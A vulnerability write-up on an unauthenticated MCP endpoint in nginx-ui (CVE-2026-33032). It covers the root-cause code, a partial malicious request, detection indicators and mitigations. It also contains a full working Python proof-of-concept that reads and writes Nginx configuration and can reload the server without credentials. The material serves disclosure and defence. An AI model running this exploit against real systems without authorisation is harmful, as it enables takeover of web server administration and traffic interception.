
This article and source code are intended strictly for educational and security research purposes. Misuse for malicious purposes, including unauthorised system access or malware development, is explicitly prohibited. By using this material you agree to our Terms and Conditions. All use is at your own risk.
CVE-2026-33032 is a critical authentication flaw in 0xJacky/nginx-ui affecting versions 2.3.5 and earlier. According to the vendor advisory, the product exposes two MCP-related HTTP endpoints, /mcp and /mcp_message. The first is protected by both IPWhiteList() and AuthRequired() middleware, while the second only applies IPWhiteList().
The impact becomes critical because the default ip_whitelist is empty, and the whitelist middleware treats an empty list as allow-all. As a result, a network attacker can reach /mcp_message without authentication and invoke the same MCP tool handler used by the authenticated endpoint. The advisory states that this permits privileged actions including restarting Nginx, creating, modifying, and deleting Nginx configuration files, and triggering automatic reloads. In practical terms, that is a full takeover of Nginx service administration through the exposed management interface.
At the time of publication, the advisory states that no public patch is available.
- CVE:
CVE-2026-33032 - Severity: Critical
- CVSS:
9.8 - CWE:
CWE-306, Missing Authentication for Critical Function - Vendor:
0xJacky - Product:
nginx-ui - Affected versions:
<= 2.3.5 - Exposed endpoints:
/mcp,/mcp_message - Root issue: authentication is enforced on
/mcpbut not on/mcp_message - Default exposure condition: empty
ip_whitelistis treated as allow-all byIPWhiteList()
This issue is not a narrow information disclosure or a low-impact administrative bypass. The advisory ties the unauthenticated endpoint directly to MCP tool execution, and those tools include operations that alter live Nginx configuration and control the service lifecycle.
The public advisory specifically notes the ability to:
- restart Nginx,
- create Nginx configuration files,
- modify Nginx configuration files,
- delete Nginx configuration files,
- trigger automatic configuration reloads.
That combination is operationally severe. If an attacker can write configuration and force a reload, they can alter how Nginx handles traffic. The advisory's example centers on creating a malicious configuration that logs authorization headers, illustrating that the flaw can move beyond simple denial of service into traffic interception or credential exposure, depending on deployment context.
Because the vulnerable path is reachable over HTTP and the default whitelist behavior is permissive when unset, the attack surface is especially dangerous on internet-exposed or broadly reachable management instances.
The advisory identifies an authentication asymmetry in mcp/router.go. The two routes are registered differently even though both dispatch into the same MCP handler:
func InitRouter(r *gin.Engine) {
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(),
func(c *gin.Context) {
mcp.ServeHTTP(c)
})
r.Any("/mcp_message", middleware.IPWhiteList(),
func(c *gin.Context) {
mcp.ServeHTTP(c)
})
}
The security consequence is straightforward:
/mcprequires both IP filtering and authentication./mcp_messagerequires only IP filtering.- Both endpoints call
mcp.ServeHTTP(c).
So the missing AuthRequired() middleware on /mcp_message is not merely a route inconsistency. It exposes the same privileged MCP tool surface through a weaker access control path.
The second part of the root cause is the fail-open whitelist behavior. The advisory cites settings/auth.go and internal/middleware/ip_whitelist.go, showing that IPWhiteList is not initialized by default and that the middleware explicitly allows requests when the list is empty:
func IPWhiteList() gin.HandlerFunc {
return func(c *gin.Context) {
clientIP := c.ClientIP()
if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" {
c.Next()
return
}
}
}
This means the only control on /mcp_message is often no control at all. In default conditions, an empty ip_whitelist does not deny access, it permits it.
From a design perspective, the vulnerability is the combination of two implementation choices:
- a privileged endpoint path missing
AuthRequired(), and - an IP whitelist middleware that allows all traffic when no whitelist is configured.
Either issue alone would be concerning. Together, they create unauthenticated remote access to critical administrative functions.
The advisory provides a concrete request shape showing how MCP tools can be invoked through /mcp_message using a JSON-RPC 2.0 style payload. The documented flow is:
- send a
POSTrequest to/mcp_message, - use
Content-Type: application/json, - call method
tools/call, - specify a privileged tool such as
nginx_config_add, - provide arguments that cause a configuration file write,
- rely on the application behavior that writes the file and immediately reloads Nginx.
The advisory also points to mcp/config/config_add.go, where configuration writes are followed by a reload:
err := os.WriteFile(path, []byte(content), 0644)
res := nginx.Control(nginx.Reload)
That code path matters because it collapses exploitation into a single management action. An attacker does not need a second authenticated step to apply the malicious configuration. If the MCP tool invocation succeeds, the file write and reload happen as part of the same privileged workflow.
The published example request is partial, but it is sufficient to establish the exploit logic:
POST /mcp_message HTTP/1.1
Content-Type: application/json
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "nginx_config_add",
"arguments": {
"name": "evil.conf",
"content": "server { listen 8443; location / { proxy_pass http://127.0.0.1:9000; access_l..."
}
}
}
The route registration, middleware gap, and configuration-write plus reload behavior are enough to reconstruct the validation flow:
- unauthenticated access reaches
/mcp_message, /mcp_messagereachesmcp.ServeHTTP(c),- MCP tool invocation reaches privileged configuration management functions,
- configuration changes are written to disk,
- Nginx is reloaded automatically.
The advisory further states that an attacker with network access to port 9000 can invoke any MCP tool via the message endpoint. That network reachability condition is important when assessing exposure in real deployments.
A single Python 3 WebSec validation PoC is enough to demonstrate the exposed attack path here. It probes /mcp_message without credentials, verifies that MCP tool calls reach the backend, enumerates the available Nginx configuration surface, attempts to read nginx.conf, and optionally writes a harmless comment-only marker file into conf.d to confirm unauthenticated write access.
That sequence keeps the validation steps aligned with the documented impact. The marker file contains comments only, so it does not introduce a new virtual host or alter request handling if it is loaded. Nginx reload remains an explicit operator opt-in step because it can affect live traffic.
The practical operator flow is:
- confirm that
/mcp_messageresponds without401or403 - invoke a low-impact MCP tool such as
nginx_status - enumerate configuration paths and read
nginx.confwhen permitted - optionally validate write access with a harmless marker file in
conf.d - trigger reload only when the engagement explicitly allows availability-impact testing
The following
PoC Exploit by WebSechas not been tested against a live target. It was prepared by WebSec for authorised validation and documentation only.
The following Python 3 validation PoC is the single WebSec PoC for this article. It is intended for authorised validation, pentest, and documentation use only.
#!/usr/bin/env python3
# CVE-2026-33032 - nginx-ui MCP Unauthenticated Endpoint PoC
# GHSA-h6c2-x2m2-mwhf
#
# Vulnerability: /mcp_message endpoint missing AuthRequired() middleware,
# allowing unauthenticated MCP tool invocation.
#
# Author: WebSec B.V. - Authorized Pentest Use Only
# Web: https://websec.net | https://websec.nl
# Usage: python3 poc_websec.py --target http://192.168.1.10:9000
#
# IMPORTANT: Only use against systems you have explicit written authorization to test.
# This PoC is untested and provided for authorized validation and documentation only.
import argparse
import json
import sys
from datetime import datetime, timezone
from urllib.parse import urljoin
import requests
import urllib3
BANNER = "\n".join([
"╔══════════════════════════════════════════════════════════════════╗",
"║ CVE-2026-33032 - nginx-ui MCP Auth Bypass PoC ║",
"║ GHSA-h6c2-x2m2-mwhf ║",
"║ WebSec B.V. - Authorized Pentest Tooling ║",
"║ !! FOR USE ON SYSTEMS WITH EXPLICIT WRITTEN AUTH ONLY !! ║",
"╚══════════════════════════════════════════════════════════════════╝",
])
SAFE_MARKER_CONFIG = "\n".join([
"# WebSec B.V. Pentest Marker - CVE-2026-33032 Validation",
"# This file was written by an authorized penetration test.",
"# Proof-of-concept: unauthenticated MCP write via /mcp_message",
"# Engagement: {engagement}",
"# Tester: {tester}",
"# Date: {date}",
"# This file is intentionally harmless. Please delete after review.",
"",
])
def build_jsonrpc(method: str, params: dict, req_id: int = 1) -> dict:
return {
"jsonrpc": "2.0",
"method": method,
"params": params,
"id": req_id,
}
# POST a JSON-RPC payload to the unauthenticated /mcp_message endpoint.
def send_mcp(
session: requests.Session,
base_url: str,
payload: dict,
timeout: int = 10,
) -> requests.Response | None:
endpoint = urljoin(base_url, "/mcp_message")
try:
return session.post(
endpoint,
json=payload,
headers={"Content-Type": "application/json"},
timeout=timeout,
verify=False,
)
except requests.exceptions.ConnectionError as exc:
print(f" [!] Connection error: {exc}")
return None
except requests.exceptions.Timeout:
print(" [!] Request timed out.")
return None
except requests.exceptions.RequestException as exc:
print(f" [!] Request failed: {exc}")
return None
# Return (success, message) from a JSON-RPC response.
def parse_result(resp: requests.Response | None) -> tuple[bool, str]:
if resp is None:
return False, "No response received."
try:
data = resp.json()
except json.JSONDecodeError:
return False, f"Non-JSON response (HTTP {resp.status_code}): {resp.text[:200]}"
if "error" in data:
return False, f"RPC error: {data['error']}"
if "result" in data:
return True, json.dumps(data["result"], indent=2)
return False, f"Unexpected response: {data}"
# Step 1: confirm that /mcp_message responds without auth.
def probe_endpoint(session: requests.Session, base_url: str) -> bool:
print("\n[*] Step 1: Probing /mcp_message for unauthenticated access...")
payload = build_jsonrpc(
method="tools/call",
params={"name": "nginx_status", "arguments": {}},
req_id=1,
)
resp = send_mcp(session, base_url, payload)
if resp is None:
return False
print(f" [+] HTTP status: {resp.status_code}")
if resp.status_code in (401, 403):
print(" [-] Endpoint returned 401/403. AuthRequired() appears to be present.")
print(" [-] Target does not appear vulnerable.")
return False
ok, msg = parse_result(resp)
if ok:
print(" [+] Unauthenticated request succeeded. Endpoint appears vulnerable.")
print(f" [+] nginx_status result:\n{msg}")
return True
print(f" [~] Request reached the handler without auth (RPC message: {msg})")
print(" [~] Endpoint likely vulnerable. Authentication middleware appears to be missing.")
return True
# Step 2: list nginx configuration files.
def enum_config_list(session: requests.Session, base_url: str) -> None:
print("\n[*] Step 2: Enumerating nginx configuration files...")
payload = build_jsonrpc(
method="tools/call",
params={"name": "nginx_config_list", "arguments": {}},
req_id=2,
)
resp = send_mcp(session, base_url, payload)
ok, msg = parse_result(resp)
if ok:
print(f" [+] nginx_config_list result:\n{msg}")
else:
print(f" [-] nginx_config_list failed: {msg}")
# Step 3: retrieve the nginx config base path.
def get_base_path(session: requests.Session, base_url: str) -> str | None:
print("\n[*] Step 3: Retrieving nginx config base path...")
payload = build_jsonrpc(
method="tools/call",
params={"name": "nginx_config_base_path", "arguments": {}},
req_id=3,
)
resp = send_mcp(session, base_url, payload)
ok, msg = parse_result(resp)
if ok:
print(f" [+] Base path result:\n{msg}")
try:
data = resp.json()
content = data.get("result", {})
if isinstance(content, dict):
return content.get("path") or content.get("base_path")
except Exception:
return None
else:
print(f" [-] nginx_config_base_path failed: {msg}")
return None
# Step 4: read nginx.conf.
def read_nginx_conf(session: requests.Session, base_url: str) -> None:
print("\n[*] Step 4: Attempting to read nginx.conf...")
payload = build_jsonrpc(
method="tools/call",
params={
"name": "nginx_config_get",
"arguments": {"relative_path": "nginx.conf"},
},
req_id=4,
)
resp = send_mcp(session, base_url, payload)
ok, msg = parse_result(resp)
if ok:
print(f" [+] nginx.conf contents:\n{msg}")
else:
print(f" [-] nginx_config_get failed: {msg}")
# Step 5: write a harmless marker file to conf.d to prove write access.
def write_marker_config(
session: requests.Session,
base_url: str,
engagement: str,
tester: str,
) -> bool:
date_str = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M UTC")
content = SAFE_MARKER_CONFIG.format(
engagement=engagement,
tester=tester,
date=date_str,
)
print("\n[*] Step 5: Writing harmless marker file (write-access proof)...")
print(" [!] File: conf.d/websec_pentest_marker.conf")
print(" [!] Content is a comment block only, no server{} block.")
payload = build_jsonrpc(
method="tools/call",
params={
"name": "nginx_config_add",
"arguments": {
"name": "websec_pentest_marker.conf",
"content": content,
"base_dir": "conf.d",
"overwrite": False,
"sync_node_ids": [],
},
},
req_id=5,
)
resp = send_mcp(session, base_url, payload)
ok, msg = parse_result(resp)
if ok:
print(f" [+] Marker file written successfully:\n{msg}")
print(" [+] Unauthenticated file write to the nginx config directory confirmed.")
return True
print(f" [-] Marker write failed: {msg}")
return False
# Step 6: optional nginx reload, only with explicit operator consent.
def trigger_reload(session: requests.Session, base_url: str) -> None:
print("\n[*] Step 6: Triggering nginx reload...")
payload = build_jsonrpc(
method="tools/call",
params={"name": "reload_nginx", "arguments": {}},
req_id=6,
)
resp = send_mcp(session, base_url, payload)
ok, msg = parse_result(resp)
if ok:
print(f" [+] reload_nginx succeeded:\n{msg}")
print(" [+] Unauthenticated nginx reload confirmed.")
else:
print(f" [-] reload_nginx failed: {msg}")
def print_summary(target: str, vulnerable: bool, findings: list[str]) -> None:
print("\n" + "═" * 68)
print(" FINDINGS SUMMARY - WebSec B.V.")
print("═" * 68)
print(f" Target : {target}")
print(" CVE : CVE-2026-33032 / GHSA-h6c2-x2m2-mwhf")
print(f" Result : {'VULNERABLE' if vulnerable else 'NOT VULNERABLE'}")
if findings:
print("\n Confirmed Findings:")
for finding in findings:
print(f" - {finding}")
print("\n Recommended Fix:")
print(" Add middleware.AuthRequired() to the /mcp_message route:")
print(' r.Any("/mcp_message", middleware.IPWhiteList(),')
print(' middleware.AuthRequired(), func(c *gin.Context) {')
print(' mcp.ServeHTTP(c)')
print(" })")
print("═" * 68 + "\n")
def main() -> None:
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
print(BANNER)
parser = argparse.ArgumentParser(
description="CVE-2026-33032 nginx-ui MCP Auth Bypass PoC - WebSec B.V."
)
parser.add_argument(
"--target",
"-t",
help="Target base URL, for example http://192.168.1.10:9000",
)
parser.add_argument(
"--engagement",
"-e",
default="WebSec Pentest",
help="Engagement name for the marker file",
)
parser.add_argument(
"--tester",
"-u",
default="WebSec B.V.",
help="Tester name for the marker file",
)
parser.add_argument(
"--no-write",
action="store_true",
help="Skip the marker-file write step",
)
parser.add_argument(
"--reload",
action="store_true",
help="Also trigger nginx reload, use with care",
)
args = parser.parse_args()
if args.target:
target = args.target.strip().rstrip("/")
else:
target = input(" [?] Target URL (for example http://192.168.1.10:9000): ").strip().rstrip("/")
if not target.startswith(("http://", "https://")):
print(" [!] Please include the scheme, http:// or https://")
sys.exit(1)
print(f"\n [*] Target : {target}")
print(f" [*] Endpoint: {target}/mcp_message")
confirm = input("\n [!] Confirm this target is in scope and you have written authorization [y/N]: ")
if confirm.strip().lower() != "y":
print(" [-] Aborted.")
sys.exit(0)
session = requests.Session()
findings: list[str] = []
vulnerable = probe_endpoint(session, target)
if not vulnerable:
print_summary(target, False, [])
sys.exit(0)
findings.append("Unauthenticated access to /mcp_message confirmed")
enum_config_list(session, target)
findings.append("nginx_config_list accessible without authentication")
base_path = get_base_path(session, target)
if base_path:
findings.append(f"nginx config base path disclosed: {base_path}")
read_nginx_conf(session, target)
findings.append("nginx.conf readable without authentication")
if not args.no_write:
write_ok = write_marker_config(session, target, args.engagement, args.tester)
if write_ok:
findings.append(
"Unauthenticated file write confirmed via websec_pentest_marker.conf"
)
else:
print("\n [*] Skipping write step (--no-write specified).")
if args.reload:
reload_confirm = input(
"\n [!] --reload was set. This will reload nginx on the target. Confirm [y/N]: "
)
if reload_confirm.strip().lower() == "y":
trigger_reload(session, target)
findings.append("Unauthenticated nginx reload confirmed")
else:
print(" [*] Reload skipped.")
else:
print("\n [*] Skipping reload step (pass --reload to test availability impact).")
print_summary(target, True, findings)
if __name__ == "__main__":
main()
The most appropriate MITRE ATT&CK mapping for this issue is:
- Tactic:
TA0001, Initial Access - Technique:
T1190, Exploit Public-Facing Application
This mapping fits the observed behavior because the vulnerable nginx-ui management interface is exposed over HTTP and can be reached remotely through the unauthenticated /mcp_message endpoint. An attacker does not need valid credentials, prior code execution, or local access. Instead, they exploit a network-reachable application flaw to gain unauthorized access to privileged administrative functionality.
The attack begins with exploitation of a public-facing application weakness, specifically a missing authentication control on a sensitive MCP endpoint combined with fail-open IP whitelist behavior. Through that exposed interface, an attacker can invoke backend MCP tools that perform high-privilege actions such as reading configuration, writing configuration files, deleting configuration files, and triggering Nginx reloads or restarts.
A secondary ATT&CK mapping may also be relevant depending on how the attacker uses the access after exploitation:
- Tactic:
TA0003, Persistence - Technique:
T1505.003, Server Software Component, Web Shell
This is not the primary mapping for the vulnerability itself, but it can describe post-exploitation behavior if an attacker abuses the configuration write capability to implant a malicious Nginx configuration, introduce traffic interception rules, or otherwise establish persistent control through server-side configuration changes.
So, for the vulnerability itself, the strongest primary MITRE ATT&CK classification is Exploit Public-Facing Application, T1190 under Initial Access, TA0001.
Based on the advisory, defenders should review the following:
- exposure of
nginx-uiinstances on the network, especially on port9000, - access logs for requests to
/mcp_message, - unexpected JSON
POSTtraffic usingjsonrpcandtools/call, - recent creation, modification, or deletion of Nginx configuration files,
- unplanned Nginx reload or restart events.
Because the vulnerable path can trigger automatic reloads after config writes, a sequence of /mcp_message requests followed by Nginx reload activity is a particularly relevant indicator.
The advisory states that no public patch was available at publication time. In the absence of a vendor fix, the practical mitigations supported by the published details are defensive exposure reduction:
- restrict network access to the
nginx-uimanagement interface, - avoid exposing the service broadly or publicly,
- configure a non-empty
ip_whitelistrather than relying on defaults, - monitor and review all access to
/mcpand/mcp_message.
Given the documented fail-open behavior, leaving ip_whitelist unset is not a safe default. The advisory makes clear that an empty whitelist is treated as allow-all.
Where immediate hardening is needed, operators should treat /mcp_message as a sensitive administrative endpoint and block untrusted access at the network layer until an upstream fix is available.
The public advisory was published by the 0xJacky/nginx-ui project in GitHub Security Advisory GHSA-h6c2-x2m2-mwhf.
- GitHub Security Advisory,
GHSA-h6c2-x2m2-mwhf, Unauthenticated MCP Endpoint Allows Remote Nginx Takeover: https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-h6c2-x2m2-mwhf
